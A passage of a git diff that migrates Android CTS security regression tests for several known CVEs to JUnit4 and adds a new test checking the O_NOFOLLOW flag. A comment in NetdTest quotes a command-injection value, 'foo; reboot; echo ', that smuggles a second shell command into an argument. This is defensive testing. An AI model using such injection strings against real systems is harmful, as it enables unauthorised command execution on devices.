+                // This is expected with fix
+                return;
+            }
+            assumeNoException(e);
+        }
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_39663.java b/tests/tests/security/src/android/security/cts/CVE_2021_39663.java
new file mode 100644
index 0000000..0add1bd
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_39663.java
@@ -0,0 +1,72 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static android.system.OsConstants.F_GETFL;
+import static android.system.OsConstants.O_NOFOLLOW;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeNotNull;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.ContentResolver;
+import android.content.ContentValues;
+import android.content.Context;
+import android.net.Uri;
+import android.os.ParcelFileDescriptor;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AsbSecurityTest;
+import android.provider.MediaStore;
+import android.system.ErrnoException;
+import android.system.Os;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.FileDescriptor;
+import java.io.IOException;
+
+@AppModeFull
+@RunWith(AndroidJUnit4.class)
+public class CVE_2021_39663 extends StsExtraBusinessLogicTestCase {
+
+    @Test
+    @AsbSecurityTest(cveBugId = 200682135)
+    public void testPocCVE_2021_39663() {
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        ContentResolver contentResolver = context.getContentResolver();
+        try {
+            Uri uri = contentResolver.insert(MediaStore.Downloads.EXTERNAL_CONTENT_URI,
+                    new ContentValues());
+            ParcelFileDescriptor pfd = context.getContentResolver().openFileDescriptor(uri, "rw");
+            assumeNotNull(pfd);
+            FileDescriptor fd = pfd.getFileDescriptor();
+            int flags = Os.fcntlInt(fd, F_GETFL, 0);
+            pfd.close();
+            contentResolver.delete(uri, null, null);
+            assumeTrue("Unable to read file status flags", flags > 0);
+            assertEquals("Vulnerable to b/200682135!! O_NOFOLLOW flag not used.", O_NOFOLLOW,
+                    flags & O_NOFOLLOW);
+        } catch (ErrnoException | IOException e) {
+            assumeNoException(e);
+        }
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/ConscryptIntermediateVerificationTest.java b/tests/tests/security/src/android/security/cts/ConscryptIntermediateVerificationTest.java
index 3022b6ce..2386053 100644
--- a/tests/tests/security/src/android/security/cts/ConscryptIntermediateVerificationTest.java
+++ b/tests/tests/security/src/android/security/cts/ConscryptIntermediateVerificationTest.java
@@ -18,7 +18,7 @@
 
 import android.content.Context;
 import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
 import java.io.InputStream;
 import java.security.KeyStore;
 import java.security.cert.Certificate;
@@ -32,7 +32,13 @@
 import javax.net.ssl.TrustManagerFactory;
 import javax.net.ssl.X509TrustManager;
 
-public class ConscryptIntermediateVerificationTest extends AndroidTestCase {
+import static org.junit.Assert.*;
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class ConscryptIntermediateVerificationTest extends StsExtraBusinessLogicTestCase {
 
     private X509Certificate[] loadCertificates(int resource) throws Exception {
         CertificateFactory certFactory = CertificateFactory.getInstance("X.509");
@@ -76,6 +82,7 @@
     }
 
     @AsbSecurityTest(cveBugId = 26232830)
+    @Test
     public void testIntermediateVerification() throws Exception {
         X509TrustManager tm = getTrustManager();
         X509Certificate[] validChain = loadCertificates(R.raw.intermediate_test_valid);
diff --git a/tests/tests/security/src/android/security/cts/DecodeTest.java b/tests/tests/security/src/android/security/cts/DecodeTest.java
index 26ab802..16c8905 100644
--- a/tests/tests/security/src/android/security/cts/DecodeTest.java
+++ b/tests/tests/security/src/android/security/cts/DecodeTest.java
@@ -19,13 +19,20 @@
 import android.graphics.Bitmap;
 import android.graphics.BitmapFactory;
 import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
 
 import java.io.InputStream;
 
 import android.security.cts.R;
 
-public class DecodeTest extends AndroidTestCase {
+import static org.junit.Assert.*;
+
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class DecodeTest extends StsExtraBusinessLogicTestCase {
     /**
      * Verifies that the device fails to decode a large, corrupt BMP.
      *
@@ -33,8 +40,9 @@
      * decode.
      */
     @AsbSecurityTest(cveBugId = 34778578)
+    @Test
     public void test_android_bug_34778578() {
-        InputStream exploitImage = mContext.getResources().openRawResource(R.raw.bug_34778578);
+        InputStream exploitImage = getInstrumentation().getContext().getResources().openRawResource(R.raw.bug_34778578);
         Bitmap bitmap = BitmapFactory.decodeStream(exploitImage);
         assertNull(bitmap);
     }
@@ -46,8 +54,9 @@
      * decode.
      */
     @AsbSecurityTest(cveBugId = 67381469)
+    @Test
     public void test_android_bug_67381469() {
-        InputStream exploitImage = mContext.getResources().openRawResource(R.raw.bug_67381469);
+        InputStream exploitImage = getInstrumentation().getContext().getResources().openRawResource(R.raw.bug_67381469);
         Bitmap bitmap = BitmapFactory.decodeStream(exploitImage);
         assertNull(bitmap);
     }
diff --git a/tests/tests/security/src/android/security/cts/EffectBundleTest.java b/tests/tests/security/src/android/security/cts/EffectBundleTest.java
index 5aef702..2559094 100644
--- a/tests/tests/security/src/android/security/cts/EffectBundleTest.java
+++ b/tests/tests/security/src/android/security/cts/EffectBundleTest.java
@@ -22,7 +22,7 @@
 import android.media.audiofx.PresetReverb;
 import android.media.MediaPlayer;
 import android.platform.test.annotations.AsbSecurityTest;
-import android.test.InstrumentationTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
 import android.util.Log;
 
 import java.nio.ByteBuffer;
@@ -31,7 +31,14 @@
 import java.util.Arrays;
 import java.util.UUID;
 
-public class EffectBundleTest extends InstrumentationTestCase {
+import static org.junit.Assert.*;
+
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class EffectBundleTest extends StsExtraBusinessLogicTestCase {
     private static final String TAG = "EffectBundleTest";
     private static final int[] INVALID_BAND_ARRAY = {Integer.MIN_VALUE, -10000, -100, -2, -1};
     private static final int mValue0 = 9999; //unlikely values. Should not change
@@ -48,6 +55,7 @@
 
     //Testing security bug: 32436341
     @AsbSecurityTest(cveBugId = 32436341)
+    @Test
     public void testEqualizer_getParamCenterFreq() throws Exception {
         if (!hasEqualizer()) {
             return;
@@ -58,6 +66,7 @@
 
     //Testing security bug: 32588352
     @AsbSecurityTest(cveBugId = 32588352)
+    @Test
     public void testEqualizer_getParamCenterFreq_long() throws Exception {
         if (!hasEqualizer()) {
             return;
@@ -67,6 +76,7 @@
 
     //Testing security bug: 32438598
     @AsbSecurityTest(cveBugId = 32438598)
+    @Test
     public void testEqualizer_getParamBandLevel() throws Exception {
         if (!hasEqualizer()) {
             return;
@@ -76,6 +86,7 @@
 
     //Testing security bug: 32584034
     @AsbSecurityTest(cveBugId = 32584034)
+    @Test
     public void testEqualizer_getParamBandLevel_long() throws Exception {
         if (!hasEqualizer()) {
             return;
@@ -85,6 +96,7 @@
 
     //Testing security bug: 32247948
     @AsbSecurityTest(cveBugId = 32247948)
+    @Test
     public void testEqualizer_getParamFreqRange() throws Exception {
         if (!hasEqualizer()) {
             return;
@@ -95,6 +107,7 @@
 
     //Testing security bug: 32588756
     @AsbSecurityTest(cveBugId = 32588756)
+    @Test
     public void testEqualizer_getParamFreqRange_long() throws Exception {
         if (!hasEqualizer()) {
             return;
@@ -105,6 +118,7 @@
 
     //Testing security bug: 32448258
     @AsbSecurityTest(cveBugId = 32448258)
+    @Test
     public void testEqualizer_getParamPresetName() throws Exception {
         if (!hasEqualizer()) {
             return;
@@ -114,6 +128,7 @@
 
     //Testing security bug: 32588016
     @AsbSecurityTest(cveBugId = 32588016)
+    @Test
     public void testEqualizer_getParamPresetName_long() throws Exception {
         if (!hasEqualizer()) {
             return;
@@ -155,6 +170,7 @@
 
     //testing security bug: 32095626
     @AsbSecurityTest(cveBugId = 32095626)
+    @Test
     public void testEqualizer_setParamBandLevel() throws Exception {
         if (!hasEqualizer()) {
             return;
@@ -171,6 +187,7 @@
 
     //testing security bug: 32585400
     @AsbSecurityTest(cveBugId = 32585400)
+    @Test
     public void testEqualizer_setParamBandLevel_long() throws Exception {
         if (!hasEqualizer()) {
             return;
@@ -187,6 +204,7 @@
 
     //testing security bug: 32705438
     @AsbSecurityTest(cveBugId = 32705438)
+    @Test
     public void testEqualizer_getParamFreqRangeCommand_short() throws Exception {
         if (!hasEqualizer()) {
             return;
@@ -197,6 +215,7 @@
 
     //testing security bug: 32703959
     @AsbSecurityTest(cveBugId = 32703959)
+    @Test
     public void testEqualizer_getParamFreqRangeCommand_long() throws Exception {
         if (!hasEqualizer()) {
             return;
@@ -207,6 +226,7 @@
 
     //testing security bug: 37563371 (short media)
     @AsbSecurityTest(cveBugId = 37563371)
+    @Test
     public void testEqualizer_setParamProperties_short() throws Exception {
         if (!hasEqualizer()) {
             return;
@@ -217,6 +237,7 @@
 
     //testing security bug: 37563371 (long media)
     @AsbSecurityTest(cveBugId = 37563371)
+    @Test
     public void testEqualizer_setParamProperties_long() throws Exception {
         if (!hasEqualizer()) {
             return;
@@ -227,6 +248,7 @@
 
     //Testing security bug: 63662938
     @AsbSecurityTest(cveBugId = 63662938)
+    @Test
     public void testDownmix_setParameter() throws Exception {
         verifyZeroPVSizeRejectedForSetParameter(
                 EFFECT_TYPE_DOWNMIX, new int[] { DOWNMIX_PARAM_TYPE });
@@ -243,6 +265,7 @@
 
     //Testing security bug: 63526567
     @AsbSecurityTest(cveBugId = 63526567)
+    @Test
     public void testEnvironmentalReverb_setParameter() throws Exception {
         verifyZeroPVSizeRejectedForSetParameter(
                 AudioEffect.EFFECT_TYPE_ENV_REVERB, new int[] {
@@ -263,6 +286,7 @@
 
     //Testing security bug: 67647856
     @AsbSecurityTest(cveBugId = 67647856)
+    @Test
     public void testPresetReverb_setParameter() throws Exception {
         verifyZeroPVSizeRejectedForSetParameter(
                 AudioEffect.EFFECT_TYPE_PRESET_REVERB, new int[] {
@@ -478,36 +502,39 @@
             UUID effectType, final int paramCodes[]) throws Exception {
 
         boolean effectFound = false;
-        for (AudioEffect.Descriptor descriptor : AudioEffect.queryEffects()) {
-            if (descriptor.type.compareTo(effectType) != 0) continue;
+        AudioEffect.Descriptor[] descriptors = AudioEffect.queryEffects();
+        if (descriptors != null) {
+            for (AudioEffect.Descriptor descriptor : descriptors) {
+                if (descriptor.type.compareTo(effectType) != 0) continue;
 
-            effectFound = true;
-            AudioEffect ae = null;
-            MediaPlayer mp = null;
-            try {
-                mp = MediaPlayer.create(getInstrumentation().getContext(), R.raw.good);
-                java.lang.reflect.Constructor ct = AudioEffect.class.getConstructor(
-                        UUID.class, UUID.class, int.class, int.class);
+                effectFound = true;
+                AudioEffect ae = null;
+                MediaPlayer mp = null;
                 try {
-                    ae = (AudioEffect) ct.newInstance(descriptor.type, descriptor.uuid,
-                            /*priority*/ 0, mp.getAudioSessionId());
-                } catch (Exception e) {
-                    // Not every effect can be instantiated by apps.
-                    Log.w(TAG, "Failed to create effect " + descriptor.uuid);
-                    continue;
-                }
-                java.lang.reflect.Method command = AudioEffect.class.getDeclaredMethod(
-                        "command", int.class, byte[].class, byte[].class);
-                for (int paramCode : paramCodes) {
-                    executeSetParameter(ae, command, intSize, 0, paramCode);
-                    executeSetParameter(ae, command, 0, intSize, paramCode);
-                }
-            } finally {
-                if (ae != null) {
-                    ae.release();
-                }
-                if (mp != null) {
-                    mp.release();
+                    mp = MediaPlayer.create(getInstrumentation().getContext(), R.raw.good);
+                    java.lang.reflect.Constructor ct = AudioEffect.class.getConstructor(
+                            UUID.class, UUID.class, int.class, int.class);
+                    try {
+                        ae = (AudioEffect) ct.newInstance(descriptor.type, descriptor.uuid,
+                                /*priority*/ 0, mp.getAudioSessionId());
+                    } catch (Exception e) {
+                        // Not every effect can be instantiated by apps.
+                        Log.w(TAG, "Failed to create effect " + descriptor.uuid);
+                        continue;
+                    }
+                    java.lang.reflect.Method command = AudioEffect.class.getDeclaredMethod(
+                            "command", int.class, byte[].class, byte[].class);
+                    for (int paramCode : paramCodes) {
+                        executeSetParameter(ae, command, intSize, 0, paramCode);
+                        executeSetParameter(ae, command, 0, intSize, paramCode);
+                    }
+                } finally {
+                    if (ae != null) {
+                        ae.release();
+                    }
+                    if (mp != null) {
+                        mp.release();
+                    }
                 }
             }
         }
diff --git a/tests/tests/security/src/android/security/cts/FlagSlipperyTest.kt b/tests/tests/security/src/android/security/cts/FlagSlipperyTest.kt
index 8fe8054..0ceee07 100644
--- a/tests/tests/security/src/android/security/cts/FlagSlipperyTest.kt
+++ b/tests/tests/security/src/android/security/cts/FlagSlipperyTest.kt
@@ -16,7 +16,6 @@
 
 package android.security.cts
 
-import android.app.Instrumentation
 import android.graphics.Rect
 import android.os.SystemClock
 import android.platform.test.annotations.AsbSecurityTest
@@ -34,8 +33,8 @@
 import androidx.test.ext.junit.rules.ActivityScenarioRule
 import androidx.test.ext.junit.runners.AndroidJUnit4
 import androidx.test.filters.MediumTest
-import androidx.test.platform.app.InstrumentationRegistry
 import com.android.compatibility.common.util.PollingCheck
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase
 import org.junit.After
 import org.junit.Assert.assertEquals
 import org.junit.Assert.assertNull
@@ -115,8 +114,7 @@
  * test code. The third approach requires adding an embedded window, and the code for that test was
  * forked to avoid excessive branching.
  */
-class FlagSlipperyTest {
-    private val instrumentation: Instrumentation = InstrumentationRegistry.getInstrumentation()
+class FlagSlipperyTest : StsExtraBusinessLogicTestCase {
     private lateinit var scenario: ActivityScenario<SlipperyEnterBottomActivity>
     private lateinit var windowManager: WindowManager
 
@@ -132,10 +130,12 @@
     val rule = ActivityScenarioRule<SlipperyEnterBottomActivity>(
             SlipperyEnterBottomActivity::class.java)
 
+    constructor() : super()
+
     @Before
     fun setup() {
         scenario = rule.getScenario()
-        windowManager = instrumentation.getTargetContext().getSystemService<WindowManager>(
+        windowManager = getInstrumentation().getTargetContext().getSystemService<WindowManager>(
                 WindowManager::class.java)
         setDimensionsToQuarterScreen()
 
@@ -156,7 +156,7 @@
     // ========================== Regular window tests =============================================
 
     private fun addWindow(slipperyWhenAdded: Boolean): View {
-        val view = View(instrumentation.targetContext)
+        val view = View(getInstrumentation().targetContext)
         scenario.onActivity {
             view.setOnTouchListener(OnTouchListener(view))
             view.setBackgroundColor(android.graphics.Color.RED)
@@ -220,7 +220,7 @@
     private lateinit var mVr: SurfaceControlViewHost
 
     private fun addEmbeddedHostWindow(): SurfaceView {
-        val surfaceView = SurfaceView(instrumentation.targetContext)
+        val surfaceView = SurfaceView(getInstrumentation().targetContext)
         val surfaceCreated = CountDownLatch(1)
         scenario.onActivity {
             surfaceView.setZOrderOnTop(true)
@@ -247,7 +247,7 @@
             embeddedViewDrawn.countDown()
         }
         layoutCompleted.set(false)
-        val embeddedView = View(instrumentation.targetContext)
+        val embeddedView = View(getInstrumentation().targetContext)
         scenario.onActivity {
             embeddedView.setOnTouchListener(OnTouchListener(surfaceView))
             embeddedView.setBackgroundColor(android.graphics.Color.RED)
@@ -340,7 +340,7 @@
         PollingCheck.waitFor {
             layoutCompleted.get()
         }
-        instrumentation.uiAutomation.syncInputTransactions(true /*waitAnimations*/)
+        getInstrumentation().uiAutomation.syncInputTransactions(true /*waitAnimations*/)
     }
 
     private fun setDimensionsToQuarterScreen() {
@@ -360,7 +360,7 @@
         }
         val event = MotionEvent.obtain(downTime, eventTime, action, x, y, 0 /*metaState*/)
         event.source = InputDevice.SOURCE_TOUCHSCREEN
-        instrumentation.uiAutomation.injectInputEvent(event, true /*sync*/)
+        getInstrumentation().uiAutomation.injectInputEvent(event, true /*sync*/)
     }
 
     companion object {
diff --git a/tests/tests/security/src/android/security/cts/IsolatedProcessTest.java b/tests/tests/security/src/android/security/cts/IsolatedProcessTest.java
index 60b329f..91e39e8 100644
--- a/tests/tests/security/src/android/security/cts/IsolatedProcessTest.java
+++ b/tests/tests/security/src/android/security/cts/IsolatedProcessTest.java
@@ -15,6 +15,7 @@
  */
 package android.security.cts;
 
+import android.app.Instrumentation;
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
@@ -25,14 +26,21 @@
 import android.platform.test.annotations.AsbSecurityTest;
 import android.security.cts.IIsolatedService;
 import android.security.cts.IsolatedService;
-import android.test.AndroidTestCase;
 import android.util.Log;
+import androidx.test.InstrumentationRegistry;
 import com.android.internal.util.ArrayUtils;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 import junit.framework.Assert;
+import org.junit.Before;
+import org.junit.After;
 
-public class IsolatedProcessTest extends AndroidTestCase {
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class IsolatedProcessTest {
     static final String TAG = IsolatedProcessTest.class.getSimpleName();
 
     private static final long BIND_SERVICE_TIMEOUT = 5000;
@@ -65,15 +73,20 @@
         }
     };
 
-    @Override
+    private static Instrumentation getInstrumentation() {
+        return InstrumentationRegistry.getInstrumentation();
+    }
+
+    @Before
     public void setUp() throws InterruptedException {
         mLatch = new CountDownLatch(1);
-        Intent serviceIntent = new Intent(mContext, IsolatedService.class);
-        mContext.bindService(serviceIntent, mServiceConnection, Context.BIND_AUTO_CREATE);
+        Intent serviceIntent = new Intent(getInstrumentation().getContext(), IsolatedService.class);
+        getInstrumentation().getContext().bindService(serviceIntent, mServiceConnection, Context.BIND_AUTO_CREATE);
         Assert.assertTrue("Timed out while waiting to bind to isolated service",
                 mLatch.await(BIND_SERVICE_TIMEOUT, TimeUnit.MILLISECONDS));
     }
 
+    @Test
     @AsbSecurityTest(cveBugId = 30202228)
     public void testGetCachedServicesFromIsolatedService() throws RemoteException {
         String[] cachedServices = mService.getCachedSystemServices();
@@ -83,6 +96,7 @@
         }
     }
 
+    @Test
     @AsbSecurityTest(cveBugId = 30202228)
     public void testGetServiceFromIsolatedService() throws RemoteException {
         for (String serviceName : RESTRICTED_SERVICES_TO_TEST) {
@@ -92,14 +106,15 @@
         }
     }
 
+    @Test
     public void testGetProcessIsIsolated() throws RemoteException {
         Assert.assertFalse(Process.isIsolated());
         Assert.assertTrue(mService.getProcessIsIsolated());
     }
 
-    @Override
+    @After
     public void tearDown() {
-        mContext.unbindService(mServiceConnection);
+        getInstrumentation().getContext().unbindService(mServiceConnection);
     }
 
 }
diff --git a/tests/tests/security/src/android/security/cts/MediaRecorderInfoLeakTest.java b/tests/tests/security/src/android/security/cts/MediaRecorderInfoLeakTest.java
index b427516..4b8b178 100644
--- a/tests/tests/security/src/android/security/cts/MediaRecorderInfoLeakTest.java
+++ b/tests/tests/security/src/android/security/cts/MediaRecorderInfoLeakTest.java
@@ -18,16 +18,24 @@
 
 import android.platform.test.annotations.AsbSecurityTest;
 import android.media.MediaRecorder;
-import android.test.AndroidTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
 import android.util.Log;
 
 import java.io.File;
 
-public class MediaRecorderInfoLeakTest extends AndroidTestCase {
+import static org.junit.Assert.*;
+
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class MediaRecorderInfoLeakTest extends StsExtraBusinessLogicTestCase {
 
    /**
     *  b/27855172
     */
+    @Test
     @AsbSecurityTest(cveBugId = 27855172)
     public void test_cve_2016_2499() throws Exception {
         MediaRecorder mediaRecorder = null;
diff --git a/tests/tests/security/src/android/security/cts/Movie33897722.java b/tests/tests/security/src/android/security/cts/Movie33897722.java
index 2ce1610..3ab3bb2 100644
--- a/tests/tests/security/src/android/security/cts/Movie33897722.java
+++ b/tests/tests/security/src/android/security/cts/Movie33897722.java
@@ -16,6 +16,8 @@
 
 package android.security.cts;
 
+import static org.junit.Assert.*;
+
 import android.graphics.Bitmap;
 import android.graphics.Canvas;
 import android.graphics.Color;
@@ -24,13 +26,20 @@
 import android.graphics.PorterDuff;
 import android.graphics.PorterDuffXfermode;
 import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
 
 import java.io.InputStream;
+import org.junit.runner.RunWith;
+import org.junit.Test;
 
 import android.security.cts.R;
 
-public class Movie33897722 extends AndroidTestCase {
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class Movie33897722 extends StsExtraBusinessLogicTestCase {
     /**
      * Verifies that decoding a particular GIF file does not read out out of bounds.
      *
@@ -39,6 +48,7 @@
      * color map, which would be reading memory that we do not control, and may be uninitialized.
      */
     @AsbSecurityTest(cveBugId = 33897722)
+    @Test
     public void test_android_bug_33897722() {
         // The image has a 10 x 10 frame on top of a transparent background. Only test the
         // 10 x 10 frame, since the original bug would never have used uninitialized memory
@@ -47,6 +57,7 @@
     }
 
     @AsbSecurityTest(cveBugId = 37662286)
+    @Test
     public void test_android_bug_37662286() {
         // The image has a background color that is out of range. Arbitrarily test
         // the upper left corner. (Most of the image is transparent.)
@@ -62,7 +73,7 @@
                             int drawWidth, int drawHeight) {
         assertTrue(drawWidth <= screenWidth && drawHeight <= screenHeight);
 
-        InputStream exploitImage = mContext.getResources().openRawResource(resId);
+        InputStream exploitImage = getInstrumentation().getContext().getResources().openRawResource(resId);
         Movie movie = Movie.decodeStream(exploitImage);
         assertNotNull(movie);
         assertEquals(movie.width(), screenWidth);
diff --git a/tests/tests/security/src/android/security/cts/NanoAppBundleTest.java b/tests/tests/security/src/android/security/cts/NanoAppBundleTest.java
index 4f5754c..135d493 100644
--- a/tests/tests/security/src/android/security/cts/NanoAppBundleTest.java
+++ b/tests/tests/security/src/android/security/cts/NanoAppBundleTest.java
@@ -16,7 +16,6 @@
 
 package android.security.cts;
 
-import android.test.AndroidTestCase;
 import android.platform.test.annotations.AsbSecurityTest;
 import androidx.test.InstrumentationRegistry;
 
@@ -49,12 +48,23 @@
 import android.util.Log;
 import android.annotation.Nullable;
 import android.platform.test.annotations.AppModeFull;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.runner.RunWith;
+import org.junit.Test;
 import static java.lang.Thread.sleep;
 import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
 
 @AppModeFull
-public class NanoAppBundleTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class NanoAppBundleTest extends StsExtraBusinessLogicTestCase {
 
+    private Context mContext;
     private static final String TAG = "NanoAppBundleTest";
     private static final String SECURITY_CTS_PACKAGE_NAME = "android.security.cts";
 
@@ -72,27 +82,27 @@
             }
         };
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
+    @Before
+    public void setUp() throws Exception {
+        mContext = getInstrumentation().getContext();
         Intent serviceIntent = new Intent(mContext, AuthenticatorService.class);
         mContext.startService(serviceIntent);
         mContext.bindService(serviceIntent, mServiceConnection, Context.BIND_AUTO_CREATE);
     }
 
-    @Override
-    protected void tearDown() throws Exception {
+    @After
+    public void tearDown() throws Exception {
         if (mContext != null) {
             Intent serviceIntent = new Intent(mContext, AuthenticatorService.class);
             mContext.stopService(serviceIntent);
         }
-        super.tearDown();
     }
 
     /**
      * b/113527124
      */
     @AsbSecurityTest(cveBugId = 77599679)
+    @Test
     public void testPoc_cve_2018_9471() throws Exception {
 
         try {
diff --git a/tests/tests/security/src/android/security/cts/NativeCodeTest.java b/tests/tests/security/src/android/security/cts/NativeCodeTest.java
index c5a9bac..53c05c0 100644
--- a/tests/tests/security/src/android/security/cts/NativeCodeTest.java
+++ b/tests/tests/security/src/android/security/cts/NativeCodeTest.java
@@ -18,15 +18,22 @@
 
 import android.platform.test.annotations.AsbSecurityTest;
 
-import junit.framework.TestCase;
+import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+import org.junit.runner.RunWith;
+import org.junit.Test;
 
-public class NativeCodeTest extends TestCase {
+import static org.junit.Assert.*;
+
+@RunWith(AndroidJUnit4.class)
+public class NativeCodeTest extends StsExtraBusinessLogicTestCase {
 
     static {
         System.loadLibrary("ctssecurity_jni");
     }
 
     @AsbSecurityTest(cveBugId = 22300191)
+    @Test
     public void testSysVipc() throws Exception {
         assertTrue("Android does not support Sys V IPC, it must "
                    + "be removed from the kernel. In the kernel config: "
diff --git a/tests/tests/security/src/android/security/cts/NetdTest.java b/tests/tests/security/src/android/security/cts/NetdTest.java
index 14623fd..463d443 100644
--- a/tests/tests/security/src/android/security/cts/NetdTest.java
+++ b/tests/tests/security/src/android/security/cts/NetdTest.java
@@ -20,13 +20,17 @@
 import android.os.IBinder;
 import android.platform.test.annotations.AsbSecurityTest;
 
-import junit.framework.TestCase;
+import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+import org.junit.runner.RunWith;
+import org.junit.Test;
 
 import java.lang.Class;
 import java.lang.reflect.InvocationTargetException;
 import java.lang.reflect.Method;
 
-public class NetdTest extends TestCase {
+@RunWith(AndroidJUnit4.class)
+public class NetdTest extends StsExtraBusinessLogicTestCase {
 
     /**
      * Detect if netd has unsanitized system call in Throttle API.
@@ -34,6 +38,7 @@
      *    serv.setInterfaceThrottle("foo; reboot; echo ", -1, -1);
      */
     @AsbSecurityTest(cveBugId = 5758556)
+    @Test
     public void testThrottleSanitization() {
         try {
 
diff --git a/tests/tests/security/src/android/security/cts/OutputConfigurationTest.java b/tests/tests/security/src/android/security/cts/OutputConfigurationTest.java
index f810817..f68c097 100644
--- a/tests/tests/security/src/android/security/cts/OutputConfigurationTest.java
+++ b/tests/tests/security/src/android/security/cts/OutputConfigurationTest.java
@@ -16,20 +16,27 @@
 
 package android.security.cts;
 
+import static org.junit.Assert.*;
+
 import android.graphics.SurfaceTexture;
 import android.hardware.camera2.params.OutputConfiguration;
 import android.os.Parcel;
 import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
 import android.util.Size;
 import android.view.Surface;
 import android.view.TextureView;
+import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+import org.junit.runner.RunWith;
+import org.junit.Test;
 
 /**
  * Verify that OutputConfiguration's fields propagate through parcel properly.
  */
-public class OutputConfigurationTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class OutputConfigurationTest extends StsExtraBusinessLogicTestCase {
     @AsbSecurityTest(cveBugId = 69683251)
+    @Test
     public void testSharedSurfaceOutputConfigurationBasic() throws Exception {
         SurfaceTexture outputTexture = new SurfaceTexture(/* random texture ID */ 5);
         Surface surface = new Surface(outputTexture);
diff --git a/tests/tests/security/src/android/security/cts/ParcelableExceptionTest.java b/tests/tests/security/src/android/security/cts/ParcelableExceptionTest.java
index 5b4e530..d2d70d8 100644
--- a/tests/tests/security/src/android/security/cts/ParcelableExceptionTest.java
+++ b/tests/tests/security/src/android/security/cts/ParcelableExceptionTest.java
@@ -16,7 +16,8 @@
 
 package android.security.cts;
 
-import android.test.AndroidTestCase;
+import static org.junit.Assert.*;
+
 import android.platform.test.annotations.AsbSecurityTest;
 import android.security.cts.R;
 
@@ -26,13 +27,21 @@
 import android.os.Bundle;
 import android.os.Parcel;
 import android.util.Log;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
 
 import java.io.File;
 import java.lang.reflect.Field;
 
-public class ParcelableExceptionTest extends AndroidTestCase {
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class ParcelableExceptionTest extends StsExtraBusinessLogicTestCase {
 
     @AsbSecurityTest(cveBugId = 65281159)
+    @Test
     public void test_CVE_2017_0871() throws Exception {
         String filePath = "/data/system/" + System.currentTimeMillis();
         File file = new File(filePath);
diff --git a/tests/tests/security/src/android/security/cts/PutOverflowTest.java b/tests/tests/security/src/android/security/cts/PutOverflowTest.java
index 2bf7a85..4667859 100644
--- a/tests/tests/security/src/android/security/cts/PutOverflowTest.java
+++ b/tests/tests/security/src/android/security/cts/PutOverflowTest.java
@@ -17,10 +17,18 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
 import java.lang.reflect.Method;
 
-public class PutOverflowTest extends AndroidTestCase {
+import static org.junit.Assert.*;
+
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class PutOverflowTest extends StsExtraBusinessLogicTestCase {
+    @Test
     @AsbSecurityTest(cveBugId = 22802399)
